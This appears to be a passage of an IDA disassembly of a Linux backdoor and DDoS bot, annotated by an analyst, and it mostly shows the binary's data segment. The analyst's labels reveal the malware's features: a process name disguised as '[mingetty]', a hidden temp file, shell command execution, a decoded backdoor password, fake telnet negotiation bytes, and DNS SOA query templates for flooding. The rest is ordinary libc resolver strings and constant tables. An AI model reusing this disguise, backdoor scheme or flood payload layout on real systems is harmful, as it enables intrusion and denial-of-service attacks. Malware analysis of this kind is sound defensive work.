; [00000441 BYTES: COLLAPSED FUNCTION __nl_load_locale.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000053 BYTES: COLLAPSED FUNCTION __nl_free_locale.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000B6 BYTES: COLLAPSED FUNCTION _authnone_create.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000002D BYTES: COLLAPSED FUNCTION sub_806714C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000007 BYTES: COLLAPSED FUNCTION sub_806717C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000000C BYTES: COLLAPSED FUNCTION sub_8067184. PRESS KEYPAD	"+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION sub_8067190. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000007 BYTES: COLLAPSED FUNCTION sub_806719C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000A4 BYTES: COLLAPSED FUNCTION _xdr_reference. PRESS KEYPAD "+" TO EXPAND]
; [00000061 BYTES: COLLAPSED FUNCTION _xdr_pointer. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000031 BYTES: COLLAPSED FUNCTION ___isatty. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000019 BYTES: COLLAPSED FUNCTION ___tcgetattr. PRESS KEYPAD "+" TO	EXPAND]
	  align	8
; [00000044 BYTES: COLLAPSED FUNCTION _stpcpy. PRESS KEYPAD "+"	TO EXPAND]
; [00000108 BYTES: COLLAPSED FUNCTION sub_8067344. PRESS KEYPAD	"+" TO EXPAND]
; [0000015C BYTES: COLLAPSED FUNCTION sub_806744C. PRESS KEYPAD	"+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION sub_80675A8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
	  retn
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4
_text	  ends

; ННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

; Segment type:	Pure data
; Segment permissions: Read
__libc_subinit segment dword public 'CONST' use32
	  assume cs:__libc_subinit
	  ;org 80675CCh
off_80675CC dd offset sub_8056D3C	; DATA XREF: ___libc_init+Co
					; ___libc_init+22o ...
__libc_subinit ends

; ННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

; Segment type:	Pure code
; Segment permissions: Read/Execute
_fini	  segment para public 'CODE' use32
	  assume cs:_fini
	  ;org 80675D0h
	  assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; [00000008 BYTES: COLLAPSED FUNCTION _term_proc. PRESS	KEYPAD "+" TO EXPAND]
; ННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

; Segment type:	Pure data
; Segment permissions: Read
_rodata	  segment dword	public 'CONST' use32
	  assume cs:_rodata
	  ;org 80675D8h
aMingetty db '[mingetty]',0             ; DATA XREF: f_main+76r f_main+7Dr ...
; char filesystem_root_directory
filesystem_root_directory db '/',0      ; DATA XREF: f_main+D8o
; char *null_byte
null_byte db 0				; DATA XREF: f_main+228r f_encrypt+Fr	...
aTmp_hj237349 db '/tmp/.hj237349',0     ; DATA XREF: f_main+4BFo f_main+4E7o ...
aBinCshFCS1S21 db '/bin/csh -f -c "%s" 1> %s 2>&1',0 ; DATA XREF: f_main+4CBo
aRb	  db 'rb',0                     ; DATA XREF: f_main+4E2o
aTfojg	  db 'TfOjG',0                  ; DATA XREF: f_main+8D6o
					; password = SeNiF
; void fake_telnet_negociation
fake_telnet_negociation	db 0FFh	;	; DATA XREF: f_main+8EBo
	  db 0FBh ; ы
	  db	1 ;  
	  db	0 ;  
aSbinBinUsrSbin	db '/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.',0
					; DATA XREF: f_main+93Co
aPath	  db 'PATH',0                   ; DATA XREF: f_main+941o
aHistfile db 'HISTFILE',0               ; DATA XREF: f_main+94Eo
aLinux	  db 'linux',0                  ; DATA XREF: f_main+95Ao
aTerm	  db 'TERM',0                   ; DATA XREF: f_main+95Fo
aSh	  db 'sh',0                     ; DATA XREF: f_main+96Bo
aBinSh	  db '/bin/sh',0                ; DATA XREF: f_main+970o
aBinCshFCS db '/bin/csh -f -c "%s" ',0  ; DATA XREF: f_main+A06o
aD_D_D_D  db '%d.%d.%d.%d',0            ; DATA XREF: f_send_backdoor_reply+97o
					; f_send_dns+CDo ...
	  db  8Dh ; Ќ
	  db  36h ; 6
dwords_9  dd 15h			; DATA XREF: f_send_dns_SOA+33o
					; f_send_dns+57o
	  dd 15h			; array	of sizes
	  dd 14h
	  dd 15h
	  dd 15h
	  dd 19h
	  dd 14h
	  dd 14h
	  dd 14h
udp_dns_requests dw 6E47h		       ; identification
					; DATA XREF: f_send_dns_SOA+50o
					; f_send_dns+6Ao
	  dw 1				; flags	; DNS requests:	recursive answer to domains
	  dw 100h			; questions_count ; SOA	= (Start Of Authority) request
	  dw 0				; answers_count
	  dw 0				; authoritary_RRs_count
	  dw 0				; supplementary_RRs_count
	  db 3				; question_size
	  db 'com',0,0,6,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0; question
	  db 0,0,0,0,0,0		; question
	  dw 6E47h			; identification
	  dw 1				; flags
	  dw 100h			; questions_count
	  dw 0				; answers_count
	  dw 0				; authoritary_RRs_count
	  dw 0				; supplementary_RRs_count
	  db 3				; question_size
	  db 'net',0,0,6,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0; question
	  db 0,0,0,0,0,0		; question
	  dw 6E47h			; identification
	  dw 1				; flags
	  dw 100h			; questions_count
	  dw 0				; answers_count
	  dw 0				; authoritary_RRs_count
	  dw 0				; supplementary_RRs_count
	  db 3				; question_size
	  db 'de',0,0,6,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0; question
	  db 0,0,0,0,0,0		; question
	  dw 6E47h			; identification
	  dw 1				; flags
	  dw 100h			; questions_count
	  dw 0				; answers_count
	  dw 0				; authoritary_RRs_count
	  dw 0				; supplementary_RRs_count
	  db 3				; question_size
	  db 'edu',0,0,6,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0; question
	  db 0,0,0,0,0,0		; question
	  dw 6E47h			; identification
	  dw 1				; flags
	  dw 100h			; questions_count
	  dw 0				; answers_count
	  dw 0				; authoritary_RRs_count
	  dw 0				; supplementary_RRs_count
	  db 3				; question_size
	  db 'org',0,0,6,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0; question
	  db 0,0,0,0,0,0		; question
	  dw 6E47h			; identification
	  dw 1				; flags
	  dw 100h			; questions_count
	  dw 0				; answers_count
	  dw 0				; authoritary_RRs_count
	  dw 0				; supplementary_RRs_count
	  db 3				; question_size
	  db 'usc',3,'edu',0,0,6,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0; question
	  db 0,0,0,0,0,0		; question
	  dw 6E47h			; identification
	  dw 1				; flags
	  dw 100h			; questions_count
	  dw 0				; answers_count
	  dw 0				; authoritary_RRs_count
	  dw 0				; supplementary_RRs_count
	  db 3				; question_size
	  db 'es',0,0,6,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0; question
	  db 0,0,0,0,0,0		; question
	  dw 6E47h			; identification
	  dw 1				; flags
	  dw 100h			; questions_count
	  dw 0				; answers_count
	  dw 0				; authoritary_RRs_count
	  dw 0				; supplementary_RRs_count
	  db 3				; question_size
	  db 'gr',0,0,6,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0; question
	  db 0,0,0,0,0,0		; question
	  dw 6E47h			; identification
	  dw 1				; flags
	  dw 100h			; questions_count
	  dw 0				; answers_count
	  dw 0				; authoritary_RRs_count
	  dw 0				; supplementary_RRs_count
	  db 3				; question_size
	  db 'ie',0,0,6,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0; question
	  db 0,0,0,0,0,0		; question
	  dw 0				; identification
	  dw 0				; flags
	  dw 0				; questions_count
	  dw 0				; answers_count
	  dw 0				; authoritary_RRs_count
	  dw 0				; supplementary_RRs_count
	  db 0				; question_size
	  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0; question
	  db 0,0,0,0,0,0		; question
aU_U_U_U  db '%u.%u.%u.%u',0            ; DATA XREF: f_send_tcp_syn+2C8o
aC	  db '%c',0                     ; DATA XREF: f_encrypt+1Fo
aCS	  db '%c%s',0                   ; DATA XREF: f_decrypt+9Bo
aGethostby_ge_1	db 'gethostby*.getanswer: asked for "%s", got "%s"',0
					; DATA XREF: sub_804B800+48Eo
aResolv_host_co	db 'RESOLV_HOST_CONF',0 ; DATA XREF: sub_804A9D8+1Do
aEtcHost_conf db '/etc/host.conf',0     ; DATA XREF: sub_804A9D8+34o
aR	  db 'r',0                      ; DATA XREF: sub_804A9D8+3Eo
					; __sethtent+Co ...
aOrder	  db 'order',0                  ; DATA XREF: sub_804A9D8+125o
					; sub_804A9D8+183o ...
; char asc_806791B
asc_806791B db ' ',9,0                  ; DATA XREF: sub_804A9D8+163o
					; sub_804A9D8+3CCo ...
aResolvSSComman	db 'resolv+: %s: "%s" command incorrectly formatted.',0Ah,0
					; DATA XREF: sub_804A9D8+18Fo
					; sub_804A9D8+298o ...
; char asc_8067950
asc_8067950 db ' ,;:',0                 ; DATA XREF: sub_804A9D8+1AFo
					; sub_804A9D8+A77o ...
aBind	  db 'bind',0                   ; DATA XREF: sub_804A9D8+1C8o
					; sub_804A9D8+2ECo ...
aHosts	  db 'hosts',0                  ; DATA XREF: sub_804A9D8+216o
					; sub_804A9D8+2E7o ...
aNis	  db 'nis',0                    ; DATA XREF: sub_804A9D8+252o
					; sub_804A9D8+2E2o ...
aResolvSIsAnInv	db 'resolv+: "%s" is an invalid keyword',0Ah,0 ; DATA XREF: sub_804A9D8+2BDo
					; sub_804A9D8+8B5o ...
aResolvValidKey	db 'resolv+: valid keywords are: %s, %s and %s',0Ah,0
					; DATA XREF: sub_804A9D8+2F1o
aResolvSearchOr	db 'resolv+: search order not specified or unrecognized keyword,'
					; DATA XREF: sub_804A9D8+35Fo
	  db ' host resolution will fail.',0Ah,0
aMulti	  db 'multi',0                  ; DATA XREF: sub_804A9D8+38Eo
					; sub_804A9D8+4B8o ...
aOn	  db 'on',0                     ; DATA XREF: sub_804A9D8+432o
					; sub_804A9D8+576o ...
aOff	  db 'off',0                    ; DATA XREF: sub_804A9D8+47Fo
					; sub_804A9D8+5C3o ...
aNospoof  db 'nospoof',0                ; DATA XREF: sub_804A9D8+4D2o
					; sub_804A9D8+5FCo ...
aAlert	  db 'alert',0                  ; DATA XREF: sub_804A9D8+616o
					; sub_804A9D8+740o ...
aReorder  db 'reorder',0                ; DATA XREF: sub_804A9D8+75Ao
					; sub_804A9D8+884o ...
aTrim	  db 'trim',0                   ; DATA XREF: sub_804A9D8+8F2o
					; sub_804A9D8+9B8o
aResolv_serv_or	db 'RESOLV_SERV_ORDER',0 ; DATA XREF: sub_804A9D8+A5Eo
aResolv_spoof_c	db 'RESOLV_SPOOF_CHECK',0 ; DATA XREF: sub_804A9D8+B6Ao
aWarn	  db 'warn',0                   ; DATA XREF: sub_804A9D8+B83o
aWarnOff  db 'warn off',0               ; DATA XREF: sub_804A9D8+C06o
aResolv_multi db 'RESOLV_MULTI',0       ; DATA XREF: sub_804A9D8+C4Eo
aResolv_reorder	db 'RESOLV_REORDER',0   ; DATA XREF: sub_804A9D8+CA2o
aResolv_add_tri	db 'RESOLV_ADD_TRIM_DOMAINS',0 ; DATA XREF: sub_804A9D8+CF6o
aResolv_overrid	db 'RESOLV_OVERRIDE_TRIM_DOMAINS',0 ; DATA XREF: sub_804A9D8+D77o
aGethostby_geta	db 'gethostby*.getanswer: asked for "%s", got CNAME for "%s"',0
					; DATA XREF: sub_804B800+263o
aGethostby_ge_0	db 'gethostby*.getanswer: asked for type %d(%s), got %d(%s)',0
					; DATA XREF: sub_804B800+3B1o
aSizeDTooBig db	'size (%d) too big',0Ah,0 ; DATA XREF: sub_804B800+55Fo
aTooManyAddress	db 'Too many addresses (%d)',0Ah,0 ; DATA XREF: sub_804B800+59Ao
aHosts_byname db 'hosts.byname',0       ; DATA XREF: _gethostent+6Co
					; _gethostbyname+22Eo ...
aRes_searchFail	db 'res_search failed',0Ah,0 ; DATA XREF: _gethostbyname+15Do
aU_U_U_U_inAddr	db '%u.%u.%u.%u.in-addr.arpa',0 ; DATA XREF: _gethostbyaddr+AEo
aRes_queryFaile	db 'res_query failed',0Ah,0 ; DATA XREF: _gethostbyaddr+E3o
aResolv	  db 'resolv',0                 ; DATA XREF: _gethostbyaddr+202o
aGethostbyaddrS	db 'gethostbyaddr: %s != %u.%u.%u.%u, possible spoof attempt',0
					; DATA XREF: _gethostbyaddr+225o
aU_U_U_U_0 db '%u.%u.%u.%u',0           ; DATA XREF: _gethostbyaddr+2B6o
aHosts_byaddr db 'hosts.byaddr',0       ; DATA XREF: _gethostbyaddr+2C1o
; char asc_8067BFB
asc_8067BFB db '#',0Ah,0                ; DATA XREF: __gethtent+71o
; char asc_8067BFE
asc_8067BFE db '/&',0                   ; DATA XREF: _res_init+4E8o
					; _res_init+549o
aLocaldomain db	'LOCALDOMAIN',0         ; DATA XREF: _res_init+C0o
aR_0	  db 'r',0                      ; DATA XREF: _res_init+170o
aEtcResolv_conf	db '/etc/resolv.conf',0 ; DATA XREF: _res_init+175o
aDomain	  db 'domain',0                 ; DATA XREF: _res_init+1D3o
; char asc_8067C27
asc_8067C27 db ' ',9,0Ah,0              ; DATA XREF: _res_init+251o
aSearch	  db 'search',0                 ; DATA XREF: _res_init+27Eo
aNameserver db 'nameserver',0           ; DATA XREF: _res_init+396o
aSortlist db 'sortlist',0               ; DATA XREF: _res_init+45Ao
aOptions  db 'options',0                ; DATA XREF: _res_init+606o
aConf	  db 'conf',0                   ; DATA XREF: _res_init+638o
aRes_options db	'RES_OPTIONS',0         ; DATA XREF: _res_init+6EEo
aEnv	  db 'env',0                    ; DATA XREF: _res_init+701o
aRes_setoptions	db ';; res_setoptions("%s", "%s")...',0Ah,0 ; DATA XREF: sub_804DE68+1Do
aNdots	  db 'ndots:',0                 ; DATA XREF: sub_804DE68+3Do
aNdotsD	  db ';;',9,'ndots=%d',0Ah,0    ; DATA XREF: sub_804DE68+92o
aDebug	  db 'debug',0                  ; DATA XREF: sub_804DE68+A6o
aRes_setoptio_0	db ';; res_setoptions("%s", "%s")..',0Ah,0 ; DATA XREF: sub_804DE68+C3o
aDebug_0  db ';;',9,'debug',0Ah,0       ; DATA XREF: sub_804DE68+D7o
aRes_querySDD db ';; res_query(%s, %d, %d)',0Ah,0 ; DATA XREF: _res_query+4Fo
aRes_queryMkque	db ';; res_query: mkquery failed',0Ah,0 ; DATA XREF: _res_query+8Do
aRes_querySendE	db ';; res_query: send error',0Ah,0 ; DATA XREF: _res_query+CFo
aRcodeDAncountD	db ';; rcode = %d, ancount=%d',0Ah,0 ; DATA XREF: _res_query+119o
aNil	  db '<Nil>',0                  ; DATA XREF: _res_querydomain+57o
aRes_querydomai	db ';; res_querydomain(%s, %s, %d, %d)',0Ah,0
					; DATA XREF: _res_querydomain+5Eo
; static a_S(void)
a_S__S	  db '%.*s.%.*s',0              ; DATA XREF: _res_querydomain+C0o
aHostaliases db	'HOSTALIASES',0         ; DATA XREF: ___hostalias+19o
aR_1	  db 'r',0                      ; DATA XREF: ___hostalias+2Eo
aRes_sendSS_US db 'res_send: %s ([%s].%u): %s',0Ah,0 ; DATA XREF: sub_804E638+3Fo
aRes_sendSS db 'res_send: %s: %s',0Ah,0 ; DATA XREF: sub_804E694+26o
aRes_send db ';; res_send()',0Ah,0      ; DATA XREF: _res_send+47o
aQueryingServer	db ';; Querying server (# %d) address = %s',0Ah,0
					; DATA XREF: _res_send+18Eo
aSocketVc db 'socket(vc)',0             ; DATA XREF: _res_send+AA5o
aConnectVc db 'connect/vc',0            ; DATA XREF: _res_send+24Co
aWriteFailed db	'write failed',0        ; DATA XREF: _res_send+2CAo
aReadFailed db 'read failed',0          ; DATA XREF: _res_send+346o
aResponseTrunca	db ';; response truncated',0Ah,0 ; DATA XREF: _res_send+3B3o
aReadVc	  db 'read(vc)',0               ; DATA XREF: _res_send+438o
aSocketDg db 'socket(dg)',0             ; DATA XREF: _res_send+AC4o
aConnectDg db 'connect(dg)',0           ; DATA XREF: _res_send+550o
aSend	  db 'send',0                   ; DATA XREF: _res_send+58Do
aSendto	  db 'sendto',0                 ; DATA XREF: _res_send+63Bo
aSelect	  db 'select',0                 ; DATA XREF: _res_send+6FBo
aTimeout  db ';; timeout',0Ah,0         ; DATA XREF: _res_send+715o
aRecvfrom db 'recvfrom',0               ; DATA XREF: _res_send+782o
aOldAnswer db ';; old answer:',0Ah,0    ; DATA XREF: _res_send+7D4o
aNotOurServer db ';; not our server:',0Ah,0 ; DATA XREF: _res_send+82Ao
aWrongQueryName	db ';; wrong query name:',0Ah,0 ; DATA XREF: _res_send+877o
aServerRejected	db 'server rejected query:',0Ah,0 ; DATA XREF: _res_send+8C2o
aTruncatedAnswe	db ';; truncated answer',0Ah,0 ; DATA XREF: _res_send+925o
aGotAnswer db ';; got answer:',0Ah,0    ; DATA XREF: _res_send+966o
unk_8067EE3 db	  0 ;			; DATA XREF: _res_send+98Ao
aNull	  db '(null)',0                 ; DATA XREF: __IO_vfprintf+12CCo
					; __IO_vfprintf+2D10o
; void unk_8067EEB
unk_8067EEB db	  0 ;			; DATA XREF: __IO_vfprintf+12E0o
					; __IO_vfprintf+2D24o
aNil_0	  db '(nil)',0                  ; DATA XREF: __IO_vfprintf+1464o
					; __IO_vfprintf+2EE4o
aN6	  db 'Ќ6',0                     ; DATA XREF: sub_8052DE8+43o
	  db 0Bh dup(0), 0C0h, 1Fh, 6, 8, 4 dup(0), 94h, 2Dh, 5, 8, 4 dup(0)
	  db 0F4h, 1Bh,	6, 8, 5	dup(0),	1Ch, 6,	8, 4 dup(0), 0B8h, 23h
	  db 6,	8, 4 dup(0), 2Ch, 1Ch, 6, 8, 4 dup(0), 4Ch, 1Dh, 6, 8
	  db 4 dup(0), 30h, 20h, 6, 8, 4 dup(0), 0C8h, 1Eh, 6, 8, 4 dup(0)
	  db 44h, 1Eh, 6, 8, 4 dup(0), 0B4h, 1Fh, 6, 8,	4 dup(0), 0ECh
	  db 1Eh, 6, 8,	4 dup(0), 0B8h,	24h, 6,	8, 4 dup(0), 0C4h, 24h
	  db 6,	8, 4 dup(0), 0A0h, 24h,	6, 8, 4	dup(0),	0B4h, 1Fh, 6, 8
	  db 4 dup(0), 0ACh, 24h, 6, 8
unk_8067F84 db	4Eh ; N			; DATA XREF: ___printf_fp+1A5o
	  db  61h ; a
	  db  4Eh ; N
	  db	0 ;  
unk_8067F88 db	49h ; I			; DATA XREF: ___printf_fp+131o
					; ___printf_fp+1CCo
	  db  6Eh ; n
	  db  66h ; f
	  db	0 ;  
aSyslog	  db 'syslog',0                 ; DATA XREF: sub_8054E54+34o
					; .data:0807889Co
aD_15s	  db '<%d>%.15s ',0             ; DATA XREF: _vsyslog+8Ao
aD	  db '[%d]',0                   ; DATA XREF: _vsyslog+F9o
aTruncated db '[truncated] ',0          ; DATA XREF: _vsyslog+17Co
					; _vsyslog+1F1o ...
aS	  db '%s',0                     ; DATA XREF: _vsyslog+1D9o
asc_8067FB3 db 0Ah,0			; DATA XREF: _vsyslog+2FFo
aDevConsole db '/dev/console',0         ; DATA XREF: _vsyslog+387o
; char asc_8067FC2
asc_8067FC2 db 0Dh,0Ah,0		; DATA XREF: _vsyslog+39Ao
aDevLog	  db '/dev/log',0               ; DATA XREF: _openlog+41o
aSh_0	  db 'sh',0                     ; DATA XREF: _system+DDo
aC_0	  db '-c',0                     ; DATA XREF: _system+E4o
aBinSh_0  db '/bin/sh',0                ; DATA XREF: _system+129o
unk_8067FDC db	  0 ;			; DATA XREF: .rodata:08068DACo
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db  0Ah ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
unk_8067FE8 db	  0 ;			; DATA XREF: .rodata:08068DBCo
	  db 7 dup(0), 64h, 0Bh	dup(0),	10h, 27h, 0Bh dup(0), 0E1h, 0F5h
	  db 5,	0Ah dup(0), 0C1h, 6Fh, 0F2h, 86h, 23h, 0Dh dup(0), 81h
	  db 0EFh, 0ACh, 85h, 5Bh, 41h,	6Dh, 2Dh, 0EEh,	4, 12h dup(0)
	  db 1,	1Fh, 6Ah, 0BFh,	64h, 0EDh, 38h,	6Eh, 0EDh, 97h,	0A7h, 0DAh
	  db 0F4h, 0F9h, 3Fh, 0E9h, 3, 4Fh, 18h, 19h dup(0), 1,	3Eh, 95h
	  db 2Eh, 9, 99h, 0DFh,	3, 0FDh, 38h, 15h, 0Fh,	2Fh, 0E4h, 74h
	  db 23h, 0ECh,	0F5h, 0CFh, 0D3h, 8, 0DCh, 4, 0C4h, 0DAh, 0B0h
	  db 0CDh, 0BCh, 19h, 7Fh, 33h,	0A6h, 3, 26h, 1Fh, 0E9h, 4Eh, 2
	  db 2Ah dup(0), 1, 7Ch, 2Eh, 98h, 5Bh,	87h, 0D3h, 0BEh, 72h, 9Fh
	  db 0D9h, 0D8h, 87h, 2Fh, 15h,	12h, 0C6h, 50h,	0DEh, 6Bh, 70h
	  db 6Eh, 4Ah, 0CFh, 0Fh, 0D8h,	95h, 0D5h, 6Eh,	71h, 0B2h, 26h
	  db 0B0h, 66h,	0C6h, 0ADh, 24h, 36h, 15h, 1Dh,	5Ah, 0D3h, 42h
	  db 3Ch, 0Eh, 54h, 0FFh, 63h, 0C0h, 73h, 55h, 0CCh, 17h, 0EFh
	  db 0F9h, 65h,	0F2h, 28h, 0BCh, 55h, 0F7h, 0C7h, 0DCh,	80h, 0DCh
	  db 0EDh, 6Eh,	0F4h, 0CEh, 0EFh, 0DCh,	5Fh, 0F7h, 53h,	5, 49h dup(0)
	  db 1,	0F8h, 6Ch, 0FCh, 67h, 72h, 0F2h, 77h, 0DCh, 46h, 95h, 8Fh
	  db 6Fh, 97h, 96h, 5Dh, 97h, 8Ah, 3Ah,	0B8h, 0D9h, 1Ah, 1Eh, 0C3h
	  db 13h, 5, 0C4h, 46h,	47h, 57h, 0E6h,	94h, 0C1h, 76h,	89h, 0C8h
	  db 79h, 0B5h,	75h, 44h, 3Bh, 73h, 0F8h, 28h, 0BFh, 0A1h, 1Dh
	  db 0AAh, 21h,	0D3h, 3Eh, 70h,	0EAh, 0CFh, 25h, 1Eh, 22h, 2Fh
	  db 1Ah, 0B2h,	2Eh, 0FBh, 51h,	0BCh, 5Dh, 4Fh,	0E1h, 96h, 0ACh
	  db 0EDh, 0A3h, 0BFh, 0AEh, 57h, 9Ch, 32h, 53h, 71h, 0FCh, 0E7h
	  db 95h, 6, 0FCh, 0C3h, 24h, 19h, 0A9h, 85h, 5Eh, 63h,	5Fh, 0F9h
	  db 0E0h, 8Eh,	90h, 0B2h, 0E4h, 0ADh, 0ABh, 93h, 2Ah, 73h, 66h
	  db 13h, 5Ch, 77h, 49h, 94h, 0Eh, 5Bh,	0BEh, 69h, 0ACh, 0AFh
	  db 43h, 73h, 81h, 0BCh, 99h, 0B0h, 46h, 1Dh, 0A7h, 45h, 48h
	  db 97h, 69h, 0A2h, 3,	73h, 0B0h, 8Ch,	13h, 1Fh, 0Bh, 8Ah, 97h
	  db 8Ah, 0ABh,	8Ch, 0D9h, 38h,	0D2h, 0C1h, 0D4h, 15h, 34h, 63h
	  db 1Ch, 8Bh dup(0), 1, 0F0h, 19h, 29h, 72h, 2Bh, 5Bh,	0F5h, 5Bh
	  db 21h, 7Ch, 6Eh, 86h, 9Fh, 0C2h, 1Eh, 87h, 4Eh, 1Ch,	99h, 88h
	  db 1Ah, 0C5h,	15h, 35h, 0C5h,	0Ah, 14h, 1Ah, 1Eh, 7Dh, 4Ch, 19h
	  db 0D8h, 2Ch,	0CCh, 0Eh, 44h,	0D1h, 0Eh, 0EEh, 34h, 66h, 89h
	  db 0FBh, 6Ch,	0E1h, 7Dh, 1Fh,	0F6h, 43h, 1Eh,	7Dh, 83h, 0CEh
	  db 9Fh, 9Ch, 2Bh, 1Dh, 23h, 0C7h, 55h, 3Eh, 23h, 0D7h, 60h, 0DCh
	  db 65h, 8Bh, 21h, 51h, 0F4h, 34h, 0D1h, 5Ch, 1Ch, 86h, 59h, 63h
	  db 0C9h, 9Fh,	0BBh, 2Bh, 92h,	31h, 94h, 0E8h,	0A7h, 7, 2Ah, 2	dup(9Fh)
	  db 5Ah, 69h, 0BEh, 62h, 0C4h,	42h, 10h, 8Eh, 74h, 7Ah, 5Bh, 4
	  db 0E3h, 1Dh,	0BEh, 1Ah, 0A5h, 22h, 0D8h, 8Ah, 11h, 0C4h, 34h
	  db 0BAh, 5, 0B5h, 14h, 0D8h, 0B3h, 0DEh, 3Fh,	0BFh, 16h, 1Ah
	  db 0C5h, 8Fh,	0BCh, 96h, 0B8h, 0B1h, 0ECh, 0EEh, 6Dh,	0F5h, 0FDh
	  db 6Bh, 0FBh,	31h, 4Bh, 65h, 0F4h, 0B6h, 16h,	36h, 1Ah, 10h
	  db 0FBh, 95h,	75h, 6Bh, 0FEh,	47h, 1Ah, 0DCh,	89h, 80h, 0D9h
	  db 80h, 2 dup(0A5h), 0BDh, 80h, 82h, 28h, 20h, 9Ah, 66h, 0Fh
	  db 0EBh, 31h,	90h, 1Fh, 8Fh, 0FCh, 10h, 33h, 6Ah, 97h, 7Eh, 7Bh
	  db 6Ah, 0E2h,	8Ah, 36h, 68h, 0DFh, 0B8h, 0A0h, 0E3h, 3Ch, 0CEh
	  db 62h, 42h, 8Eh, 0A2h, 51h, 0A3h, 75h, 0C9h,	0B6h, 0B0h, 6Ch
	  db 83h, 75h, 59h, 44h, 3Fh, 65h, 0B5h, 31h, 8Ah, 0E3h, 56h, 0C3h
	  db 0A6h, 0ABh, 0FAh, 35h, 0A0h, 0FBh,	90h, 1,	52h, 0EDh, 0C4h
	  db 9Fh, 1Bh, 49h, 0BCh, 88h, 4Ah, 11h, 40h, 16h, 41h,	80h, 5Bh
	  db 0,	5Eh, 23h, 0F3h,	0F4h, 49h, 46h,	8Dh, 1Eh, 6, 0DEh, 0A8h
	  db 36h, 49h, 53h, 0C5h, 73h, 2Ah, 0BDh, 0E6h,	0A7h, 0Ch, 97h
	  db 0A6h, 0C1h, 94h, 70h, 18h,	47h, 0EFh, 49h,	0DBh, 0D2h, 5Bh
	  db 3Fh, 6Ch, 92h, 0D4h, 9, 62h, 0AEh,	49h, 39h, 43h, 2Dh, 0C6h
	  db 0A3h, 0F4h, 34h, 94h, 5Dh,	30h, 0D4h, 5, 1Ah, 0D6h, 0D9h
	  db 25h, 3, 10Ah dup(0), 1, 0E0h, 33h,	13h, 65h, 68h, 9, 0E3h
	  db 3Fh, 4Dh, 7Dh, 0B2h, 0CFh,	8Dh, 0E2h, 49h,	21h, 47h, 2Eh
	  db 0ECh, 54h,	0E3h, 87h, 0EEh, 84h, 75h, 6, 0B6h, 0BBh, 8Ah
	  db 8Bh, 36h, 91h, 0A1h, 0E5h,	0A5h, 55h, 6Dh,	0D5h, 2Eh, 73h
	  db 77h, 82h, 0FDh, 42h, 0D1h,	50h, 0EAh, 0B2h, 8Dh, 0B7h, 51h
	  db 9Eh, 2Ch, 34h, 98h, 0BCh, 0DAh, 50h, 0C8h,	0F1h, 0D6h, 6Eh
	  db 86h, 12h, 2Ch, 34h, 19h, 87h, 49h,	79h, 92h, 0C2h,	69h, 0F8h
	  db 0D2h, 4Ah,	2Eh, 91h, 66h, 8Fh, 0FDh, 0C7h,	71h, 2Dh, 84h
	  db 0A7h, 57h,	0EBh, 52h, 55h,	23h, 0CCh, 0EDh, 7Fh, 0FBh, 0E0h
	  db 1Ch, 86h, 0F3h, 0E1h, 9Ch,	20h, 38h, 49h, 0B4h, 13h, 97h
	  db 34h, 1, 0C1h, 34h,	0DEh, 54h, 6Ch,	8Ch, 9Ch, 28h, 0A8h, 0A7h
	  db 43h, 66h, 0BBh, 2Dh, 0F3h,	64h, 0CBh, 0E3h, 1, 0FFh, 74h
	  db 80h, 0E9h,	2Eh, 89h, 0E3h,	94h, 7Fh, 0C1h,	10h, 92h, 6Fh
	  db 0F1h, 0A8h, 0D6h, 1Eh, 28h, 0A8h, 0B3h, 0BBh, 7Ah,	96h, 40h
	  db 14h, 15h, 5Ah, 0EDh, 0FBh,	52h, 99h, 44h, 1Eh, 0B4h, 13h
	  db 0C3h, 9, 0E6h, 0AFh, 16h, 0A4h, 0BCh, 0A2h, 1Fh, 82h, 11h
	  db 0F1h, 0B4h, 64h, 12h, 0FBh, 74h, 0C9h, 0BAh, 91h, 0ABh, 0D6h
	  db 0C7h, 0D6h, 35h, 0FFh, 48h, 8Eh, 43h, 0BDh, 19h, 44h, 65h
	  db 56h, 0A6h,	0C4h, 10h, 55h,	5Eh, 68h, 36h, 4Ch, 55h, 33h, 97h
	  db 86h, 49h, 0ABh, 0FEh, 21h,	0BDh, 0Dh, 1Dh,	49h, 0FEh, 3Ch
